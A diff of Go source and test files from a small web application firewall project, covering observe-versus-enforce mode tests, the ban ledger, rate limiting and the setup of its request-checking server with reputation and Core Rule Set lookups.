||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// observe is the value of SWW_MODE for observe mode.
|
||||
const observe = "observe"
|
||||
|
||||
func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const trapPath = "/wp-login.php"
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
cause string
|
||||
// endsIn is how long after the request the ban ends: negative for a
|
||||
// ban that has ended, and zero for a permanent ban.
|
||||
endsIn time.Duration
|
||||
path string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
"temporary ban", bans.CauseAdmin, time.Hour, "/",
|
||||
requestlog.ActionTemporarilyBanned,
|
||||
},
|
||||
{"permanent ban", bans.CauseAdmin, 0, "/", requestlog.ActionPermanentlyBanned},
|
||||
{
|
||||
"request that makes a ban permanent", bans.CauseAttack, time.Hour, "/",
|
||||
requestlog.ActionPermanentlyBanned,
|
||||
},
|
||||
{
|
||||
"trap path after an attack ban ended", bans.CauseAttack, -time.Hour,
|
||||
trapPath, requestlog.ActionPermanentlyBanned,
|
||||
},
|
||||
{
|
||||
"first trap path after another ban ended", bans.CauseAdmin, -time.Hour,
|
||||
trapPath, requestlog.ActionTemporarilyBanned,
|
||||
},
|
||||
} {
|
||||
for _, modeValue := range []string{"enforce", observe} {
|
||||
t.Run(tc.name+" in "+modeValue, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
trapPaths: trapPathList, mode: modeValue,
|
||||
})
|
||||
|
||||
ban := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||
Start: clk.Now().Add(-2 * time.Hour),
|
||||
Cause: tc.cause,
|
||||
}
|
||||
if tc.endsIn != 0 {
|
||||
ban.Expires = clk.Now().Add(tc.endsIn)
|
||||
}
|
||||
|
||||
server.Ledger.Load([]bans.Ban{ban})
|
||||
|
||||
if modeValue == observe {
|
||||
line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, tc.want)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
s.request(client, tc.path, http.StatusForbidden, tc.want)
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
trapPaths: trapPathList, mode: observe,
|
||||
})
|
||||
|
||||
server.Ledger.Load([]bans.Ban{{
|
||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||
Start: clk.Now().Add(-2 * time.Hour),
|
||||
Expires: clk.Now().Add(-time.Hour),
|
||||
Cause: bans.CauseAttack,
|
||||
}})
|
||||
|
||||
line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
|
||||
t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeNamesTheHeuristicThatWouldHaveRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
mode: observe, denyNets: client,
|
||||
})
|
||||
|
||||
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionClientDenied)
|
||||
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+client+`/32"}`)
|
||||
}
|
||||
|
||||
func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
banned = otherClient // under a ban read from bans.json
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting string // "" leaves SWW_MODE at its default
|
||||
observe bool
|
||||
}{
|
||||
{"", false},
|
||||
{"enforce", false},
|
||||
{observe, true},
|
||||
} {
|
||||
t.Run(mode+"="+tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
env := map[string]string{
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
}
|
||||
|
||||
if tc.setting != "" {
|
||||
env[mode] = tc.setting
|
||||
}
|
||||
|
||||
s, clk, server := startWithClock(t, geojsURL, env)
|
||||
server.Ledger.Load([]bans.Ban{{
|
||||
Netblock: netip.MustParsePrefix(banned + "/32"),
|
||||
Start: clk.Now(),
|
||||
Expires: clk.Now().Add(time.Hour),
|
||||
}})
|
||||
|
||||
// fromDE's first request is within the limit of one a minute,
|
||||
// and its second breaks it.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
for _, sent := range []struct{ from, refusal string }{
|
||||
{denied, requestlog.ActionClientDenied},
|
||||
{banned, requestlog.ActionTemporarilyBanned},
|
||||
{fromKP, requestlog.ActionClientDenied},
|
||||
{fromDE, requestlog.ActionClientIsRateLimited},
|
||||
} {
|
||||
if !tc.observe {
|
||||
line := s.get(sent.from, http.StatusForbidden, sent.refusal)
|
||||
wantWouldAction(t, line, "")
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
// Passed to the app, which answered it.
|
||||
line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, sent.refusal)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
mode: observe,
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
kept := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix(otherClient + "/32"),
|
||||
Start: clk.Now(),
|
||||
Expires: clk.Now().Add(time.Hour),
|
||||
Cause: bans.CauseAdmin,
|
||||
}
|
||||
server.Ledger.Load([]bans.Ban{kept})
|
||||
|
||||
// No ban sets client's counters back to zero, so each request after
|
||||
// the first breaks the limit of one a minute.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
for range 2 {
|
||||
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
|
||||
line.BanExpires != "" {
|
||||
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||
"want minute, limit and none", line.LimitHit, line.Offence,
|
||||
line.BanExpires)
|
||||
}
|
||||
}
|
||||
|
||||
// The ban read from bans.json refuses nothing, and so counts no
|
||||
// refusal in its notes, but is kept.
|
||||
line := s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
if line.BanExpires != requestlog.FormatTime(kept.Expires) {
|
||||
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires,
|
||||
requestlog.FormatTime(kept.Expires))
|
||||
}
|
||||
|
||||
got := server.Ledger.Snapshot()
|
||||
if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
|
||||
t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
|
||||
}
|
||||
}
|
||||
|
||||
// wantWouldAction checks the request log line's would_action, and that a
|
||||
// line that should have none has no such field.
|
||||
func wantWouldAction(t *testing.T, line logLine, want string) {
|
||||
t.Helper()
|
||||
|
||||
got, present := line.fields["would_action"]
|
||||
|
||||
switch {
|
||||
case want == "" && present:
|
||||
t.Errorf("log line has would_action %v, want none", got)
|
||||
case want != "" && got != want:
|
||||
t.Errorf("log line has would_action %v, want %s", got, want)
|
||||
}
|
||||
}
|
||||
@@ -1,274 +0,0 @@
|
||||
// Package discriminator is the server the discriminator command runs. It answers
|
||||
// rproxy's questions, takes rproxy's reports and answers its own endpoints, and
|
||||
// writes a log line for each.
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
lru "github.com/hashicorp/golang-lru/v2"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// ownEndpointPrefix starts the path of each of discriminator's own endpoints. The app
|
||||
// never sees a path under it.
|
||||
const ownEndpointPrefix = "/_sww/"
|
||||
|
||||
// HealthPath is the health endpoint of discriminator and of rproxy, which the
|
||||
// container's health check asks.
|
||||
const HealthPath = "/_sww/healthz"
|
||||
|
||||
// MetricsPath is where the metrics are, for a request that carries
|
||||
// SWW_METRICS_TOKEN.
|
||||
const MetricsPath = "/_sww/metrics"
|
||||
|
||||
// BansPath is where an admin lists and adds bans, and, followed by / and
|
||||
// a client's address, lifts them, with SWW_ADMIN_TOKEN.
|
||||
const BansPath = "/_sww/bans"
|
||||
|
||||
// ClientsPath is where an admin asks what discriminator knows of a client, by
|
||||
// the client's address after it, with SWW_ADMIN_TOKEN.
|
||||
const ClientsPath = "/_sww/clients/"
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
Config *config.Config
|
||||
// RequestLog receives two JSON lines per question, one at its decision and
|
||||
// one when its report comes, and one per request to discriminator's own
|
||||
// endpoints.
|
||||
RequestLog io.Writer
|
||||
// ProcessLog receives the process's own messages.
|
||||
ProcessLog *slog.Logger
|
||||
// GeoJSURL is where clients' AS numbers and countries are looked up
|
||||
// while SWW_LOOKUP_SOURCE is geojs, normally lookup.URL.
|
||||
GeoJSURL string
|
||||
// AbuseIPDBURL is where clients are checked with AbuseIPDB while
|
||||
// SWW_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
|
||||
AbuseIPDBURL string
|
||||
// LookupFile is the lookup database they are looked up in while
|
||||
// SWW_LOOKUP_SOURCE is file, and nil otherwise.
|
||||
LookupFile *lookup.File
|
||||
// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
|
||||
// while SWW_WAF_MODE is not off, and nil while it is.
|
||||
CoreRuleSet *coreruleset.CoreRuleSet
|
||||
// Now tells the time by which requests are counted for the rate
|
||||
// limits, bans are made and run out, and GeoJS's answers are kept,
|
||||
// normally time.Now in UTC, the time the state files give.
|
||||
Now func() time.Time
|
||||
// Rules are the rule files' rules, which each request is checked
|
||||
// against.
|
||||
Rules *rules.Files
|
||||
// Alerts receive the alert for each ban discriminator makes or makes
|
||||
// permanent, for each count over an anomaly threshold, for each request
|
||||
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
||||
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
||||
// SWW_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
|
||||
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
|
||||
// or the day's AbuseIPDB checks used up.
|
||||
Alerts *alerts.Queue
|
||||
}
|
||||
|
||||
// Server is the server discriminator runs, with the parts whose state the state
|
||||
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
|
||||
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
||||
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
|
||||
// SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
|
||||
type Server struct {
|
||||
*http.Server
|
||||
|
||||
Ledger *bans.Ledger
|
||||
Limiter *ratelimit.Limiter
|
||||
GeoJS *lookup.GeoJS
|
||||
Anomalies *anomaly.Counters
|
||||
LookupFile *lookup.File
|
||||
Lists *reputation.Lists
|
||||
DNSBL *reputation.DNSBL
|
||||
AbuseIPDB *reputation.AbuseIPDB
|
||||
RouteWatch *routewatch.Client
|
||||
Metrics *metrics.Metrics
|
||||
}
|
||||
|
||||
// newHandler returns the handler with what every request shares, as the
|
||||
// settings in params make it.
|
||||
func newHandler(params Params) *handler {
|
||||
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
|
||||
lists, dnsbl, abuseIPDB := newReputation(params, m)
|
||||
|
||||
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
|
||||
if err != nil {
|
||||
panic(err) // New fails only for a size below one
|
||||
}
|
||||
|
||||
h := &handler{
|
||||
config: params.Config,
|
||||
requestLog: params.RequestLog,
|
||||
processLog: params.ProcessLog,
|
||||
now: params.Now,
|
||||
metrics: m,
|
||||
awaitingReport: awaitingReport,
|
||||
limiter: ratelimit.New(ratelimit.Limits{
|
||||
PerMinute: params.Config.RateLimitPerMinute,
|
||||
PerHour: params.Config.RateLimitPerHour,
|
||||
PerDay: params.Config.RateLimitPerDay,
|
||||
BytesPerMinute: params.Config.BytesLimitPerMinute,
|
||||
BytesPerHour: params.Config.BytesLimitPerHour,
|
||||
BytesPerDay: params.Config.BytesLimitPerDay,
|
||||
}, params.Config.MaxTrackedClients),
|
||||
ledger: bans.New(bans.Params{
|
||||
LimitBanDuration: params.Config.LimitBanDuration,
|
||||
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
|
||||
MaxBanDuration: params.Config.MaxBanDuration,
|
||||
AttackBanDuration: params.Config.AttackBanDuration,
|
||||
MaxBans: params.Config.MaxBans,
|
||||
}),
|
||||
anomalies: anomaly.New(anomaly.Params{
|
||||
Client: params.Config.AnomalyClient,
|
||||
Net: params.Config.AnomalyNet,
|
||||
ASN: params.Config.AnomalyASN,
|
||||
Total: params.Config.AnomalyTotal,
|
||||
Watch: params.Config.AnomalyWatch,
|
||||
NetV4Prefix: params.Config.AnomalyNetV4Prefix,
|
||||
NetV6Prefix: params.Config.AnomalyNetV6Prefix,
|
||||
NamedNetblocks: params.Config.WatchNets,
|
||||
Alerts: params.Alerts,
|
||||
}),
|
||||
lookupFile: params.LookupFile,
|
||||
lists: lists,
|
||||
dnsbl: dnsbl,
|
||||
abuseIPDB: abuseIPDB,
|
||||
rules: params.Rules,
|
||||
coreRuleSet: params.CoreRuleSet,
|
||||
alerts: params.Alerts,
|
||||
}
|
||||
if params.Config.RouteWatchURL != "" {
|
||||
h.routeWatch = routewatch.New(routewatch.Params{
|
||||
URL: params.Config.RouteWatchURL, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||
})
|
||||
}
|
||||
|
||||
h.geojs = lookup.New(lookup.Params{
|
||||
URL: params.GeoJSURL,
|
||||
Timeout: params.Config.LookupTimeout,
|
||||
// The country list, the headers, the tag settings that name an asn=
|
||||
// or country= tag and the biased thresholds act on the answer before
|
||||
// the request goes on.
|
||||
Wait: len(params.Config.ExclusivelyAllowedCountries) > 0 ||
|
||||
params.Config.AddLookupHeaders || params.Config.TagsNeedLookup() ||
|
||||
biasedThresholdsSet(params.Config),
|
||||
Answered: h.addLookup,
|
||||
Now: params.Now,
|
||||
ProcessLog: params.ProcessLog,
|
||||
Metrics: m,
|
||||
Alerts: params.Alerts,
|
||||
})
|
||||
m.AddBansAndClients(h.ledger, h.limiter, params.Now)
|
||||
m.AddRules(params.Rules)
|
||||
|
||||
return h
|
||||
}
|
||||
|
||||
// newReputation returns the lists fetched from URLs, the DNSBL zones'
|
||||
// verdicts and AbuseIPDB's scores, as the settings in params name them,
|
||||
// with none fetched, asked for or checked yet, and adds their metrics to
|
||||
// m, AbuseIPDB's while SWW_ABUSEIPDB_KEY is set.
|
||||
func newReputation(
|
||||
params Params, m *metrics.Metrics,
|
||||
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
|
||||
cfg := params.Config
|
||||
lists := reputation.New(reputation.Params{
|
||||
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
|
||||
ASNLimitPercentURL: cfg.ASNLimitPercentURL,
|
||||
TagLists: cfg.TagLists,
|
||||
CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
|
||||
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
|
||||
})
|
||||
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
|
||||
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
|
||||
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||
Alerts: params.Alerts,
|
||||
})
|
||||
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
|
||||
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
|
||||
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
|
||||
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||
Alerts: params.Alerts,
|
||||
})
|
||||
|
||||
m.AddReputation(lists, dnsbl)
|
||||
|
||||
if cfg.AbuseIPDBKey != "" {
|
||||
m.AddAbuseIPDB(abuseIPDB)
|
||||
}
|
||||
|
||||
return lists, dnsbl, abuseIPDB
|
||||
}
|
||||
|
||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
||||
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
||||
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
|
||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||
// an error in every mode. While the mode is off, a set file is loaded with the
|
||||
// Core Rule Set only to check it.
|
||||
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
||||
if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" {
|
||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
||||
}
|
||||
|
||||
coreRuleSet, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
||||
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
||||
}
|
||||
|
||||
if cfg.WAFMode == config.WAFModeOff {
|
||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
||||
}
|
||||
|
||||
return coreRuleSet, nil
|
||||
}
|
||||
|
||||
// handler is discriminator's handler. It holds what every request shares; what
|
||||
// belongs to one request is in a request.
|
||||
type handler struct {
|
||||
config *config.Config
|
||||
requestLog io.Writer
|
||||
processLog *slog.Logger
|
||||
now func() time.Time
|
||||
metrics *metrics.Metrics
|
||||
limiter *ratelimit.Limiter
|
||||
ledger *bans.Ledger
|
||||
geojs *lookup.GeoJS
|
||||
anomalies *anomaly.Counters
|
||||
lookupFile *lookup.File
|
||||
lists *reputation.Lists
|
||||
dnsbl *reputation.DNSBL
|
||||
abuseIPDB *reputation.AbuseIPDB
|
||||
routeWatch *routewatch.Client
|
||||
rules *rules.Files
|
||||
coreRuleSet *coreruleset.CoreRuleSet
|
||||
alerts *alerts.Queue
|
||||
// awaitingReport holds the decision on each answered question by its id
|
||||
// until its report comes, and nil for a question still being handled.
|
||||
awaitingReport *lru.Cache[string, *decision]
|
||||
}
|
||||
@@ -1,611 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"log/slog"
|
||||
"maps"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
const (
|
||||
// waitLimit bounds how long a test waits for what should happen.
|
||||
waitLimit = 10 * time.Second
|
||||
// pollInterval is how often a test looks for a log line.
|
||||
pollInterval = 10 * time.Millisecond
|
||||
// localhost is where every test server listens, and so the address rproxy
|
||||
// sees each test's requests come from.
|
||||
localhost = "127.0.0.1"
|
||||
// requestType is the type that marks a request log line.
|
||||
requestType = "request"
|
||||
// protocol is the protocol of every question.
|
||||
protocol = "HTTP/1.1"
|
||||
// trustLocalhost trusts the address every test connects from, and a
|
||||
// network for proxies in front of it.
|
||||
trustLocalhost = localhost + "/32,10.0.0.0/8"
|
||||
// appHost is the host every test asks for.
|
||||
appHost = "app.example"
|
||||
// client is the client's address, as a proxy names it.
|
||||
client = "203.0.113.9"
|
||||
// forwardedFor is the header that lists the client and its proxies,
|
||||
// and forwardedProto the one that gives the scheme the client used.
|
||||
forwardedFor = "X-Forwarded-For"
|
||||
forwardedProto = "X-Forwarded-Proto"
|
||||
// secure is the scheme a client reached traefik with, and plain the one
|
||||
// rproxy serves.
|
||||
secure = "https"
|
||||
plain = "http"
|
||||
)
|
||||
|
||||
// The settings the tests set.
|
||||
const (
|
||||
mode = "SWW_MODE"
|
||||
trustedProxies = "SWRP_TRUSTED_PROXIES"
|
||||
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWW_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWW_DENY_NETS"
|
||||
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
|
||||
lookupSource = "SWW_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
||||
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
|
||||
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
|
||||
tagDeny = "SWW_TAG_DENY"
|
||||
// denyKP is the value of SWW_TAG_DENY that refuses fromKP's country.
|
||||
denyKP = "country=KP"
|
||||
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
banResponse = "SWW_BAN_RESPONSE"
|
||||
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
|
||||
maxBanDuration = "SWW_MAX_BAN_DURATION"
|
||||
maxBans = "SWW_MAX_BANS"
|
||||
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
|
||||
instanceName = "SWW_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
|
||||
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
|
||||
rulesDir = "SWW_RULES_DIR"
|
||||
wafMode = "SWW_WAF_MODE"
|
||||
)
|
||||
|
||||
// off is the value that switches a setting off.
|
||||
const off = "off"
|
||||
|
||||
// on is the value that switches a setting that takes true or false on.
|
||||
const on = "true"
|
||||
|
||||
// output collects what sww writes on stdout.
|
||||
type output struct {
|
||||
mu sync.Mutex
|
||||
buf bytes.Buffer
|
||||
}
|
||||
|
||||
// Write adds lines sww writes.
|
||||
func (o *output) Write(p []byte) (int, error) {
|
||||
o.mu.Lock()
|
||||
defer o.mu.Unlock()
|
||||
|
||||
return o.buf.Write(p)
|
||||
}
|
||||
|
||||
// text returns everything written so far.
|
||||
func (o *output) text() string {
|
||||
o.mu.Lock()
|
||||
defer o.mu.Unlock()
|
||||
|
||||
return o.buf.String()
|
||||
}
|
||||
|
||||
// lines returns every line written so far, decoded.
|
||||
func (o *output) lines(t *testing.T) []map[string]any {
|
||||
t.Helper()
|
||||
o.mu.Lock()
|
||||
defer o.mu.Unlock()
|
||||
|
||||
var lines []map[string]any
|
||||
|
||||
for text := range strings.Lines(o.buf.String()) {
|
||||
var line map[string]any
|
||||
|
||||
err := json.Unmarshal([]byte(text), &line)
|
||||
if err != nil {
|
||||
t.Fatalf("output line %q is not JSON: %v", text, err)
|
||||
}
|
||||
|
||||
lines = append(lines, line)
|
||||
}
|
||||
|
||||
return lines
|
||||
}
|
||||
|
||||
// logLine is a request log line, as typed fields and as the JSON object
|
||||
// it was written as.
|
||||
type logLine struct {
|
||||
requestlog.Line
|
||||
|
||||
fields map[string]any
|
||||
}
|
||||
|
||||
// requestLines waits for count request log lines and returns them.
|
||||
func (o *output) requestLines(t *testing.T, count int) []logLine {
|
||||
t.Helper()
|
||||
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
for time.Now().Before(deadline) {
|
||||
var found []logLine
|
||||
|
||||
for _, fields := range o.lines(t) {
|
||||
if fields["type"] == requestType {
|
||||
found = append(found, decodeLine(t, fields))
|
||||
}
|
||||
}
|
||||
|
||||
if len(found) >= count {
|
||||
return found
|
||||
}
|
||||
|
||||
time.Sleep(pollInterval)
|
||||
}
|
||||
|
||||
t.Fatalf("fewer than %d request log lines after %s", count, waitLimit)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// requestLine waits for the request log line of a test's one request.
|
||||
func (o *output) requestLine(t *testing.T) logLine {
|
||||
t.Helper()
|
||||
|
||||
return o.requestLines(t, 1)[0]
|
||||
}
|
||||
|
||||
// endedLines waits for count requests that went through rproxy, or to discriminator's
|
||||
// own endpoints, to have ended, and returns the last log line of each, in the
|
||||
// order discriminator took them. A question's last line is the one its report writes.
|
||||
func (o *output) endedLines(t *testing.T, count int) []logLine {
|
||||
t.Helper()
|
||||
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
for time.Now().Before(deadline) {
|
||||
found := o.lastLines(t)
|
||||
|
||||
ended := len(found) >= count
|
||||
for _, line := range found[:min(count, len(found))] {
|
||||
if line.DiscriminatorLine == requestlog.DiscriminatorLineDecision {
|
||||
ended = false
|
||||
}
|
||||
}
|
||||
|
||||
if ended {
|
||||
return found
|
||||
}
|
||||
|
||||
time.Sleep(pollInterval)
|
||||
}
|
||||
|
||||
t.Fatalf("fewer than %d requests have ended after %s", count, waitLimit)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// lastLines returns the last request log line written so far of each request,
|
||||
// in the order discriminator took them.
|
||||
func (o *output) lastLines(t *testing.T) []logLine {
|
||||
t.Helper()
|
||||
|
||||
var found []logLine
|
||||
|
||||
places := map[string]int{}
|
||||
|
||||
for _, fields := range o.lines(t) {
|
||||
if fields["type"] != requestType {
|
||||
continue
|
||||
}
|
||||
|
||||
line := decodeLine(t, fields)
|
||||
|
||||
place, seen := places[line.RequestID]
|
||||
if seen {
|
||||
found[place] = line
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
places[line.RequestID] = len(found)
|
||||
found = append(found, line)
|
||||
}
|
||||
|
||||
return found
|
||||
}
|
||||
|
||||
// endedLine waits for a test's one request to have ended, and returns its last
|
||||
// log line.
|
||||
func (o *output) endedLine(t *testing.T) logLine {
|
||||
t.Helper()
|
||||
|
||||
return o.endedLines(t, 1)[0]
|
||||
}
|
||||
|
||||
// decodeLine reads a request log line's fields into a logLine.
|
||||
func decodeLine(t *testing.T, fields map[string]any) logLine {
|
||||
t.Helper()
|
||||
|
||||
encoded, err := json.Marshal(fields)
|
||||
if err != nil {
|
||||
t.Fatalf("encode %v: %v", fields, err)
|
||||
}
|
||||
|
||||
line := logLine{fields: fields}
|
||||
|
||||
err = json.Unmarshal(encoded, &line.Line)
|
||||
if err != nil {
|
||||
t.Fatalf("decode %s: %v", encoded, err)
|
||||
}
|
||||
|
||||
return line
|
||||
}
|
||||
|
||||
// startApp starts app as the app rproxy passes requests to.
|
||||
func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
|
||||
t.Helper()
|
||||
|
||||
server := httptest.NewServer(app)
|
||||
t.Cleanup(server.Close)
|
||||
|
||||
return server
|
||||
}
|
||||
|
||||
// startProxy starts discriminator, and rproxy in front of the app at appURL, each with
|
||||
// the settings in env on top of the defaults, and returns where rproxy listens
|
||||
// and what discriminator writes.
|
||||
